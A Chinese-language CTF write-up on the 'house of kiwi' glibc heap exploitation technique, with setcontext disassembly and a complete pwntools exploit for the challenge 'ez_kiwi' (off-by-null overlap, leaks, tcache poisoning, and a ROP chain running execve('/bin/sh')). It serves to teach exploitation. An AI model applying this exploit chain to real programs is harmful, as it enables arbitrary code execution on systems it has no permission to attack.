这次要说的是house系列之house of kiwi,这个手法呢相信很多大佬都已经写过相应的文章,本菜鸟本着学习这个手法,做此文章。
适用范围是
libc2.29之后的高版本
能够触发__malloc_assert
能够任意地址写
·修改_IO_file_jumps中指向的_IO_file_sync**(**[_IO_file_jumps+0x60]将其修改为setcontext+61)
·修改setcontext+61( mov rsp,QWORD PTR [rdx+0xa0])[rdx+0xa0]的地址 修改为ROP
·修改setcontex+294(mov rcx,QWORD PTR [rdx+0xa8])[rdx+0xa8]的地址 修改为ret
下面是我解释修改的原因
当我们成功触发_malloc_assert之后,会调用fflush(stderr)函数,里面会call[rbp+0x60] (rbp+60就是 _IO_file_sync)
当我们进入_IO_fille_sync之后发现寄存器rdx上面的值是一个定值( _IO_helper_jumps)
好巧不巧的是setcontext + 61
从2.29之后变为由RDX寄存器控制寄存器了,又因为RDX始终是一个固定的地址IO_helper_jumps ,那这里就有人有疑问了,修改rdx寄存器上的值有啥用呢,我们来看看setcontext+61这一部分的汇编
0x7f8dfcbac0dd <setcontext+61>: mov rsp,QWORD PTR [rdx+0xa0] 0x7f8dfcbac0e4 <setcontext+68>: mov rbx,QWORD PTR [rdx+0x80] 0x7f8dfcbac0eb <setcontext+75>: mov rbp,QWORD PTR [rdx+0x78] 0x7f8dfcbac0ef <setcontext+79>: mov r12,QWORD PTR [rdx+0x48] 0x7f8dfcbac0f3 <setcontext+83>: mov r13,QWORD PTR [rdx+0x50] 0x7f8dfcbac0f7 <setcontext+87>: mov r14,QWORD PTR [rdx+0x58] 0x7f8dfcbac0fb <setcontext+91>: mov r15,QWORD PTR [rdx+0x60] 0x7f8dfcbac0ff <setcontext+95>: test DWORD PTR fs:0x48,0x2 0x7f8dfcbac10b <setcontext+107>: je 0x7f8dfcbac1c6 <setcontext+294> 0x7f8dfcbac111 <setcontext+113>: mov rsi,QWORD PTR [rdx+0x3a8] 0x7f8dfcbac118 <setcontext+120>: mov rdi,rsi 0x7f8dfcbac11b <setcontext+123>: mov rcx,QWORD PTR [rdx+0x3b0] 0x7f8dfcbac122 <setcontext+130>: cmp rcx,QWORD PTR fs:0x78 0x7f8dfcbac12b <setcontext+139>: je 0x7f8dfcbac165 <setcontext+197> 0x7f8dfcbac12d <setcontext+141>: mov rax,QWORD PTR [rsi-0x8] 0x7f8dfcbac131 <setcontext+145>: and rax,0xfffffffffffffff8 0x7f8dfcbac135 <setcontext+149>: cmp rax,rsi 0x7f8dfcbac138 <setcontext+152>: je 0x7f8dfcbac140 <setcontext+160> 0x7f8dfcbac13a <setcontext+154>: sub rsi,0x8 0x7f8dfcbac13e <setcontext+158>: jmp 0x7f8dfcbac12d <setcontext+141> 0x7f8dfcbac140 <setcontext+160>: mov rax,0x1 0x7f8dfcbac147 <setcontext+167>: incsspq rax 0x7f8dfcbac14c <setcontext+172>: rstorssp QWORD PTR [rsi-0x8] 0x7f8dfcbac151 <setcontext+177>: saveprevssp 0x7f8dfcbac155 <setcontext+181>: mov rax,QWORD PTR [rdx+0x3b0] 0x7f8dfcbac15c <setcontext+188>: mov QWORD PTR fs:0x78,rax 0x7f8dfcbac165 <setcontext+197>: rdsspq rcx 0x7f8dfcbac16a <setcontext+202>: sub rcx,rdi 0x7f8dfcbac16d <setcontext+205>: je 0x7f8dfcbac18c <setcontext+236> 0x7f8dfcbac16f <setcontext+207>: neg rcx 0x7f8dfcbac172 <setcontext+210>: shr rcx,0x3 0x7f8dfcbac176 <setcontext+214>: mov esi,0xff 0x7f8dfcbac17b <setcontext+219>: cmp rcx,rsi 0x7f8dfcbac17e <setcontext+222>: cmovb rsi,rcx 0x7f8dfcbac182 <setcontext+226>: incsspq rsi 0x7f8dfcbac187 <setcontext+231>: sub rcx,rsi 0x7f8dfcbac18a <setcontext+234>: ja 0x7f8dfcbac17b <setcontext+219> 0x7f8dfcbac18c <setcontext+236>: mov rsi,QWORD PTR [rdx+0x70] 0x7f8dfcbac190 <setcontext+240>: mov rdi,QWORD PTR [rdx+0x68] 0x7f8dfcbac194 <setcontext+244>: mov rcx,QWORD PTR [rdx+0x98] 0x7f8dfcbac19b <setcontext+251>: mov r8,QWORD PTR [rdx+0x28] 0x7f8dfcbac19f <setcontext+255>: mov r9,QWORD PTR [rdx+0x30] 0x7f8dfcbac1a3 <setcontext+259>: mov r10,QWORD PTR [rdx+0xa8] 0x7f8dfcbac1aa <setcontext+266>: mov rdx,QWORD PTR [rdx+0x88] 0x7f8dfcbac1b1 <setcontext+273>: rdsspq rax 0x7f8dfcbac1b6 <setcontext+278>: cmp r10,QWORD PTR [rax] 0x7f8dfcbac1b9 <setcontext+281>: mov eax,0x0 0x7f8dfcbac1be <setcontext+286>: jne 0x7f8dfcbac1c3 <setcontext+291> 0x7f8dfcbac1c0 <setcontext+288>: push r10 0x7f8dfcbac1c2 <setcontext+290>: ret
里面基本全是mov,而且基本上都是 rdx+~~对别的寄存器的赋值,并且rdx寄存器的值是不变的,再看里面最重要的几条汇编
0x7f8dfcbac0dd <setcontext+61>: mov rsp,QWORD PTR [rdx+0xa0] 0x7f8dfcbac1a3 <setcontext+259>: mov r10,QWORD PTR [rdx+0xa8] 0x7f8dfcbac1c0 <setcontext+288>: push r10 0x7f8dfcbac1c2 <setcontext+290>: ret
我们可以发现,当我们正确控制[rdx+0xa0]和[rdx+0xa8]就等于说劫持了执行流。
我们再来理一下思路,原来正常触发_malloc_assert之后,
fflush–_IO_file_sync….后面退出
但是我们修改之后
fflush–setcontext+0x61–我们所控制的执行流。
威力太大了吧。
话不多说来道例题
题目链接
这是一个2.31的堆题
漏洞呢主要是在edit中存在单字节溢出
但是这个难就难在了他主动清空可用hook
因此用普通的打hook方式是行不通的,但是这个可以给你申请一个很大的堆块,我们经过溢出很容易就能造成__malloc_assert,因此用offbynull打堆块重叠泄露libc并造成任意地址写打house of kiwi,一气呵成。
将_IO_file_jumps
中的_IO_file_sync
修改为setcontext + 61
的地址,让程序执行setcontext+61中的代码;同时修改_IO_helper_jumps + 0xa0 和 _IO_helper_jumps + 0xa8
分别存放有ROP的位置和ret指令的gadget位置(_IO_helper_jumps 是RDX寄存器的值,setcontext最终会先执行 rdx+0xa8紧接着执行rdx+0xa0,具体原因调试便知)。
首先,我们先泄露堆块地址
for i in range (6 ): add(0xf8 ,i,b"\x00" ) add(0xf8 ,7 ,b"a" ) add(0xf8 ,8 ,b"a" ) add(0xf8 ,9 ,b"a" ) add(0xf8 ,6 ,b"a" ) delete(1 ) delete(0 ) add(0xf8 ,0 ,b"a" ) show(0 ) p.recvuntil(b"\x20" ) leak=u64(p.recv(6 ).ljust(8 ,b"\x00" ))-0x8d0 +0x56f print (hex (leak))add(0xf8 ,1 ,b"\x00" )
然后利用off by null造成堆块重叠
edit(7 ,p64(0 )+p64(0x1f1 )+p64(leak+0x875 +0x5b )+p64(leak+0x875 +0x5b )) edit(8 ,b"a" *0xf0 +p64(0x1f0 )+b"\x00" ) for i in range (6 ): delete(i) delete(6 ) delete(9 )
2.31的off by null额外做了一个检查
高版本的offbynull额外做的检查是,会对将要被合并的堆块(A)的size的和下下一个堆块(C)的presize比较是否相等,绕过这个检查可以在A堆块里面伪造一个堆块,使其size=堆块c+堆块b,这样就能绕过检查进行合并
注意我们这里的0xf8这个size可不是随便起的,因为申请0xf8大小的堆块,size是0x101,由于我们要将对堆块C的最低位改成零,而我们刚好能溢出“\x00” ,所以0xf8是刚刚好的
重叠前:
重叠后:
这样一来,就造成了堆块重叠,然后,我们再申请并释放两个相同size的堆块,并且把第二个堆块的fd指针修改成想要修改的目标地址。再申请回来目的是让程序将**_IO_file_jumps+96识别成一个堆块,然后再修改 _IO_file_jumps+96**里面的内容,这样就完成了任意地址修改。
add(0x40 ,1 ,b"a" ) add(0x40 ,2 ,b"a" ) show(1 ) p.recvuntil(b"\x20" ) libc=u64(p.recv(6 ).ljust(8 ,b"\x00" ))-0x1ebe61 _IO_file_jumps=libc+0x1ed4a0 IO_helper_jumps = libc + 2017632 - 0xc0 setcontext=libc+0x580a0 print (hex (libc))delete(2 ) delete(1 ) edit(7 ,p64(0 )+p64(0x51 )+p64(_IO_file_jumps+96 )*2 ) add(0x40 ,1 ,b"a" ) add(0x40 ,2 ,b"a" ) edit(2 ,p64(setcontext+61 ))
然后我们在某个堆块内布置rop,使其执行**execve(“/bin/sh”,0,0)**。
ret = libc + 0x25679 pop_rax = libc + 0x4a550 pop_rdi = libc + 0x26b72 pop_rsi = libc + 0x27529 pop_rdx_r12 = libc + 0x11c371 syscall = libc + 0x2584d rop = p64(pop_rdx_r12) + p64(0 ) + p64(0 ) + p64(pop_rsi) + p64(0 ) + p64(pop_rdi) rop += p64(leak+0xbd0 ) +p64(pop_rax) + p64(0x3b ) +p64(syscall) add(0x80 ,4 ,rop)
同样的,我们再用相同的方法修改_IO_helper_jumps + 0xa0 和 _IO_helper_jumps + 0xa8的值
add(0x40 ,3 ,b"a" ) delete(3 ) delete(1 ) edit(7 ,p64(0 )+p64(0x51 )+p64(IO_helper_jumps+0xa0 )*2 ) add(0x40 ,1 ,b"a" ) add(0x40 ,3 ,b"a" ) edit(3 ,p64(leak+0x9d0 )+p64(ret))
最后触发**_malloc_assert**,并写下/bin/sh
exp:
from pwn import *context.log_level='debug' p=process('./ez_kiwi' ) elf = ELF('ez_kiwi' ) libc = ELF('libc.so.6' ) p.sendlineafter(b'give me your name:\n' , b'\x00' ) def add (size,index,content ): p.sendlineafter(b'>>' , b'1' ) p.sendlineafter(b'How much do you want?' , str (size).encode()) p.sendlineafter(b'Which one do you want to put?' , str (index).encode()) p.sendafter(b'Tell me your idea:' , content) def delete (index ): p.sendlineafter(b'>>' , b'2' ) p.sendafter(b'Which one do you want to remove?' , str (index).encode()) def show (index ): p.sendlineafter(b'>>' , b'3' ) p.sendafter(b'Which one do you want to look?' , str (index).encode()) def edit (index,content ): p.sendlineafter(b'>>' , b'4' ) p.sendlineafter(b'Which one do you want to change?' , str (index).encode()) p.sendlineafter(b'Change your idea:' , content) gdb.attach(p) for i in range (6 ): add(0xf8 ,i,b"\x00" ) add(0xf8 ,7 ,b"a" ) add(0xf8 ,8 ,b"a" ) add(0xf8 ,9 ,b"a" ) add(0xf8 ,6 ,b"a" ) delete(1 ) delete(0 ) add(0xf8 ,0 ,b"a" ) show(0 ) p.recvuntil(b"\x20" ) leak=u64(p.recv(6 ).ljust(8 ,b"\x00" ))-0x8d0 +0x56f print (hex (leak))add(0xf8 ,1 ,b"\x00" ) edit(7 ,p64(0 )+p64(0x1f1 )+p64(leak+0x875 +0x5b )+p64(leak+0x875 +0x5b )) edit(8 ,b"a" *0xf0 +p64(0x1f0 )+b"\x00" ) for i in range (6 ): delete(i) delete(6 ) delete(9 ) pause() add(0x40 ,1 ,b"a" ) add(0x40 ,2 ,b"a" ) show(1 ) p.recvuntil(b"\x20" ) libc=u64(p.recv(6 ).ljust(8 ,b"\x00" ))-0x1ebe61 _IO_file_jumps=libc+0x1ed4a0 IO_helper_jumps = libc + 2017632 - 0xc0 setcontext=libc+0x580a0 print (hex (libc))delete(2 ) delete(1 ) edit(7 ,p64(0 )+p64(0x51 )+p64(_IO_file_jumps+96 )*2 ) add(0x40 ,1 ,b"a" ) add(0x40 ,2 ,b"a" ) edit(2 ,p64(setcontext+61 )) add(0x40 ,3 ,b"a" ) delete(3 ) delete(1 ) edit(7 ,p64(0 )+p64(0x51 )+p64(IO_helper_jumps+0xa0 )*2 ) add(0x40 ,1 ,b"a" ) add(0x40 ,3 ,b"a" ) ret = libc + 0x25679 pop_rax = libc + 0x4a550 pop_rdi = libc + 0x26b72 pop_rsi = libc + 0x27529 pop_rdx_r12 = libc + 0x11c371 syscall = libc + 0x2584d rop = p64(pop_rdx_r12) + p64(0 ) + p64(0 ) + p64(pop_rsi) + p64(0 ) + p64(pop_rdi) rop += p64(leak+0xbd0 ) +p64(pop_rax) + p64(0x3b ) +p64(syscall) add(0x80 ,4 ,rop) edit(3 ,p64(leak+0x9d0 )+p64(ret)) add(0x18 ,5 ,b"a" ) add(0xf8 ,6 , b'a' ) payload = b'/bin/sh\x00' * 2 +p64(0xdadabeff )*29 edit(6 , payload) p.sendlineafter(b'>>' , b'666' ) p.interactive()
参考大佬:
Dest0g3 520迎新赛 pwn ez_kiwi - xtxtn’s Blog
House OF Kiwi-安全客 - 安全资讯平台 (anquanke.com)